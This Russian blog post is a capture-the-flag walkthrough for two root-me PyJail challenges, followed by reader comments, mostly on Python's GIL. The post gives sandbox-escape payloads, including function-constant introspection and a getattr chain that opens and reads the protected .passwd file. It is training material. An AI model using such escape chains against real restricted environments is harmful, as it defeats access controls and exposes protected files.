Приветствую тебя %username%. Прочитав статью о способах обхода sudo, решил тоже попробовать описать нечто подобное, но для языка Python. Спасибо root-me за такие задачки. Решая их, можно многое узнать о работе того или иного механизма. Прошу строго не судить, это моё первое творение.
Начнём!

PyJail 1


После подключения, перед нами появляется вот такое приветствие, и небольшое описание:



Суть в следующем: мы попали в ограниченную версию интерпретатора Python, из неё нужно либо выйти, либо получить содержимое файла .passwd, в той же директории. Ничего сложного, просто нужно выйти из интерпретатора. Попробуем это сделать:

>>> exit()
TypeError : exit() takes exactly 1 argument (0 given)
>>> exit('exit')
Denied
>>> exit(0)
You cannot escape !

Выяснили, что функция exit, требует наличие 1 параметра, который проверяется с чем-то, и в случае неудачи возвращает You cannot escape !. Так же определили, что использование строковых литералов запрещено. Простым перебором определяем список запрещённых функций:

>>> __import__
Denied
>>> name
Denied
>>> locals
Denied
>>> globals
Denied
>>> eval
Denied
>>> import
Denied
>>> __
Denied
>>> system
Denied

С этим разобрались, осталось выяснить, какие действия совершать разрешено. Попробуем print:

>>> print 123
123

Это работает. Так же доступно создание переменных и функций:

>>> a=[1]
>>> print a
[1]
>>> def ls(): print(1)
>>> ls()
1

А что насчет свойств объекта?

>>> a.append(10)
>>> print a
[1, 10]

Они тоже доступны. В Python практически всё является объектом, в том числе и функции. Более подробно о том как работать с функцией как с объектом можно прочитать тут.

Теперь переходим к финальной части, попробуем посмотреть список констант, которые объявлены в единственно доступной нам функции exit():

>>> print(exit.func_code.co_consts)
(None, 'flag-WQ0dSFrab3LGADS1ypA1', -1, 'cat .passwd', 'You cannot escape !')

Из полученных сведений можно образно восстановить логику работы функции:

def exit(txt):
      if txt == 'flag-WQ0dSFrab3LGADS1ypA1':
            os.system('cat .passwd')
      else:
            print('You cannot escape !')

Проверим эту догадку:

>>> x = exit.func_code.co_consts[1]
>>> print(x)
flag-WQ0dSFrab3LGADS1ypA1
>>> exit(x)
Well done flag : XXXXXXXXXXXXXXXXXXXXXXX

Да, это работает, Таким образом, мы можем не только просмотреть список используемых переменных, но так же получить байткод этой функции, который после несложной декомпиляции, можно хоть и с погрешностями но восстановить.

PyJail 2




Вторая часть. По традиции нам как всегда нужно получить содержимое файла .passwd. Приступим. Попробуем ту же технику, что использовали в первой части:

>>> print(getout.func_code.co_consts)
You are in jail dude ... Did you expect to have the key ?

Попробуем иначе. Первым делом проверим доступна ли команда dir?

>>> dir()
>>> a=[]
>>> dir(a)
NameError: name 'dir(a)' is not defined
>>> print(dir())
['__builtins__', 'command', 'getout']

Да, она работает, но пока на данном этапе мало чем полезна. После проверки остальных функций из списка, обнаруживаем, что мы можем использовать ещё одну функцию:

>>> print(getattr)
<built-in function getattr>

Что это даёт? Из документации известно следующее:
Return the value of the named attribute of object. name must be a string. If the string is the name of one of the object’s attributes, the result is the value of that attribute. For example, getattr(x, 'foobar') is equivalent to x.foobar. If the named attribute does not exist, default is returned if provided, otherwise AttributeError is raised.

Функция принимает объект, находит в нём метод и возвращает его. Посмотрим какие методы есть у getout:
>>> print dir(getout)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

Отлично, действуя по аналогии как это было в PyJail1, сначала узнаём список функций используемых в getout:

>>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25])[2]; print(mds)
('passwd', 'os', 'system', 'sys', 'exit') 

Теперь получаем список констант:

>>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25]); print(prm)
(' check if arg is equal to the random password ', 'Well done ! Here is your so desired flag : ', 'cat .passwd', 'Hum ... no.', None)

Осталось выполнить system('cat .passwd') и получить пароль для прохождения задания

>>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25])[2]; splt=getattr(prm, dir(prm)[62]); f=open(splt(prm[3])[1]); rd=getattr(f, dir(f)[29]); rrd=rd(); print(rrd)

Вот таким вот не хитрым образом используя Python у нас появляется возможность одно действие сделать множеством различных способов. На этом пока всё.
Поделиться с друзьями
-->

Комментарии (27)


  1. DaneSoul
    21.02.2017 19:52
    +8

    Вы забыли написать самое главное — https://lbarman.ch/blog/root-me-pyjail1/:
    "You have access to a restricted, sandboxed Python shell (mimicking an online service), and you need to gain broader access to the system. "

    Без этой фразы я вообще не мог понять о чем Ваша статья и какую проблему Вы решаете. Помог только Гугл.


    1. licoxe
      21.02.2017 20:35
      +1

      Спасибо, дополнил


  1. felix_it
    21.02.2017 20:37
    +7

    Не смущает, что по правилам RM публиковать решения плохо? Там вот буквально: «We remind you that publishing solutions on Internet (Youtube, Github, personal blog, ...) is forbidden.»


    1. licoxe
      21.02.2017 20:42
      +4

      felix_it Первое, я никого не заставляю полностью повторять своё решение. Второе, одним из основных способов получения новых знаний, как раз является просмотр решений других участников. На RM полагают, что ты либо как хочешь делаешь и в процессе узнаёшь. Либо ты не достоин знать решение.
      Я не считаю, что ограничение доступа к информации является лучшем решением.
      Ну и третье, пользователи RM не получают за это никакой материальной выгоды, так что моя публикация не наносит никому какого-либо вреда.


  1. qrck13
    21.02.2017 21:29
    -2

    Для меня самой большой «интересной особенностью о которой я не догадывался» было наличие Global Interpreter Lock. Почему то во всяких учебниках по python-у этому вопросу почти нигде вообще не удиляют внимания. А в то же время это очень болезненная особенность, существенно ограничивающая применение языка в ряде задач.


    1. immaculate
      22.02.2017 07:48

      Как и где он ограничивает? За 17 лет программирования на Python он меня ни разу не ограничил, и от других не слышал такого тоже.


      1. qrck13
        22.02.2017 08:54
        -1

        Ну значит за 17 лет у вас ни разу не было потребности использовать больше 1 ядра эффективно в программе на Python-е.


        Пример из моей недавней практики:
        python скрипт, который раз в день обходит каталог с архивами с логами от нескольких серверов, парсит их и генерирует некоторые отчеты. Сам процесс анализа данных занимает от силы 30 секунд, но вот загрузка логов — около 10 минут (это бинарные логи в некотором своем формате, дополнительно сжатые gzip-ом, в разжатом виде около 5-6Gb логов на сервер). По скольку все сервера имеют однотипные логи, их более чем хочется загрузить параллельно и потом просто смержить результат, тем более что выполняется все на машине с 18 ядами (Xeon). Но не тут то было, из за global interpreter lock-а, из N python потоков всегда реально выполняется только один, остальные ждут возможности захватить GIL. Так что итоговая производительность загрузки при многопоточном подходе получается не в N раз быстрее, а раза вы полтора медленнее.


        Если подытожить — то cpython реализация не позволяет эффективно использовать несколько потоков, вообще никак.


        1. exfizik
          22.02.2017 09:19
          +3

          А multiprocessing модуль не пробовали?


          1. qrck13
            22.02.2017 09:58

            Если честно, я очень скептически отношусь к передаче большого количества DataFrame-ов, каждый порядка 500Мб в памяти, через pipe-а из дочерних процессов. Но попробую.


            1. Roman_Kh
              22.02.2017 10:02
              +1

              А зачем датафреймы-то передавать? Сразу используйте разделяемую память, а лучше анализируйте отдельно друг от друга в разных потоках / процессах.
              Многие функции pandasа однопоточны. Так что, собрав все в один большой датафрейм, вы многократно замедлите обработку.


              1. qrck13
                22.02.2017 13:37

                Анализировать отдельно — это будет не так тривиально, т.к. код усыпан всякими groupby, делать их на отдельных маленьких DataFrame-ах а потом мержить вместе — только багов насажаешь.
                А в разделяемую память класть — это нужно ведь будет ручками каждый отдельный столбец оформлять (а их там штук 50), а потом обратно собирать в дата-фрейм, что бы можно было анализировать при помощи pandas.


                P.S.а вообще я попробовал, решение "в лоб" через pool.map приводит к тому, что около 5% времени уходит на передачу данных меж процессами. Не так ужасно, я думал будет хуже.


                В любом случае — отсутствие нормальных потоков — это ограничивающий фактор. Тот же numpy по этой причине изворачивается с созданием нативных потоков, для параллельной обработки.


          1. knekrasov
            22.02.2017 10:40
            +1

            Ну с таким подходом можно и про xargs -P вспомнить. Действительно, при чем тут язык.

            А про ограничение (архитектурное, замечу) языка стоит знать. Треды в языке вроде как есть. Но никто не задумывается, что в единицу времени будет выполняться ровно один тред. Мне кажется, это слишком интересная особенность чтобы о ней молчать.

            Не понимаю, за что qrck13 заминусовали.


            1. flaresun
              22.02.2017 11:12

              Не понимаю, за что qrck13 заминусовали.


              Думаю, что минусы в основном за:

              интересной особенностью о которой я не догадывался
              и
              нигде вообще не удиляют внимания


            1. exfizik
              22.02.2017 19:35

              Но никто не задумывается, что в единицу времени будет выполняться ровно один тред.

              Если вы для себя Питон только что открыли, то да, никто не задумывается и все молчат :) А вообще, про этот GIL уже столько статей написано, столько копей поломано, что фактически нет смысла обсуждать…


              1. qrck13
                22.02.2017 22:24

                > Если вы для себя Питон только что открыли, то да, никто не задумывается и все молчат :) А вообще, про этот GIL уже столько статей написано, столько копей поломано, что фактически нет смысла обсуждать…

                У меня на работе мы в команде используем python как вспомогательный скриптовый язык (в основном для анализа данных при отладке основных проектов), основная разработка на C++/C#. Т.е. никто не изучал python на таком глубоком уровне. Но стандартный «common sense» на основании опыта с другими языками (у некоторых из команды — больше 20 лет опыта) никак не наводит на мысль, что в каком-то из языков может быть засада с такой базовой и основопологающей вещью как потоки. Когда я об этом «открытии» рассказал коллегам — сюрприз был у всех.


        1. gorodnev
          22.02.2017 09:50
          +2

          Вот это эпик!!! Для io-bound задач нужно и инструмент подбирать соответствующий, twisted там или tornado. Но да, виноват во всем Python, а не человек!

          PS: Ему не multiprocessing нужен, раз bottleneck в загрузке, а не парсинге.


          1. qrck13
            22.02.2017 11:20

            Эпик, это кричать не разобравшись в вопросе.


            Это не io-bound задача, на io там уходит меньше 15% времени, т.к. логи очень хорошо пожаты.


        1. Roman_Kh
          22.02.2017 09:59

          Во-первых, для парсинга логов отлично подойдет multiprocessing, который распараллелит задачу на несколько процессоров.


          Во-вторых, ввод-вывод хорошо ускоряется с помощью async / await.


          В-третьих, GIL при необходимости можно легко разблокировать с помощью cython или numba.


          1. flaresun
            22.02.2017 11:09
            -2

            GIL при необходимости можно легко разблокировать с помощью cython

            Но это уже будет не совсем python, хоть и запускаться процесс будет из python.
            По тому же принципу можно просто через system запускать другие процессы (скрипты на python) в бекграунде и говорить, что GIL совершенно ничем никому не мешает :)


            1. MikailBag
              22.02.2017 15:27
              +1

              Чем cython не питон?


          1. DarthKotik
            22.02.2017 21:08

            Можно использовать PyPy, например или другие альтернативные реализации без GIL



  1. JEAN17RUS
    21.02.2017 22:50
    -1

    Довольно интересное применение Python


  1. random1st
    22.02.2017 11:11

    заголовок сильно отдает желтизной


  1. amarao
    22.02.2017 13:38
    -1

    Для таких вещей во-первых хочется использовать import (который нельзя переопределить и который восстанавливает вменяемость некоторых переменных), во-вторых dir() (если его не переопределили), в третьих — хардкорную интроспекцию (import inspect).


  1. AndU
    22.02.2017 14:23
    +2

    Типичное приветствие новичка хабрасообществом, ахах) ничего нового: куча минусусов новичку, за попытку написания интересного материала.


  1. spiiin
    22.02.2017 15:37

    Публиковать решения в готовом виде не стоит, конечно, особенно, когда авторы задач просят этого не делать. Ещё как минимум стоило убрать их под спойлер, вы же лишаете людей удовольствия!

    Лучше бы статью про root-me небольшую написали, за наводку на сайт спасибо.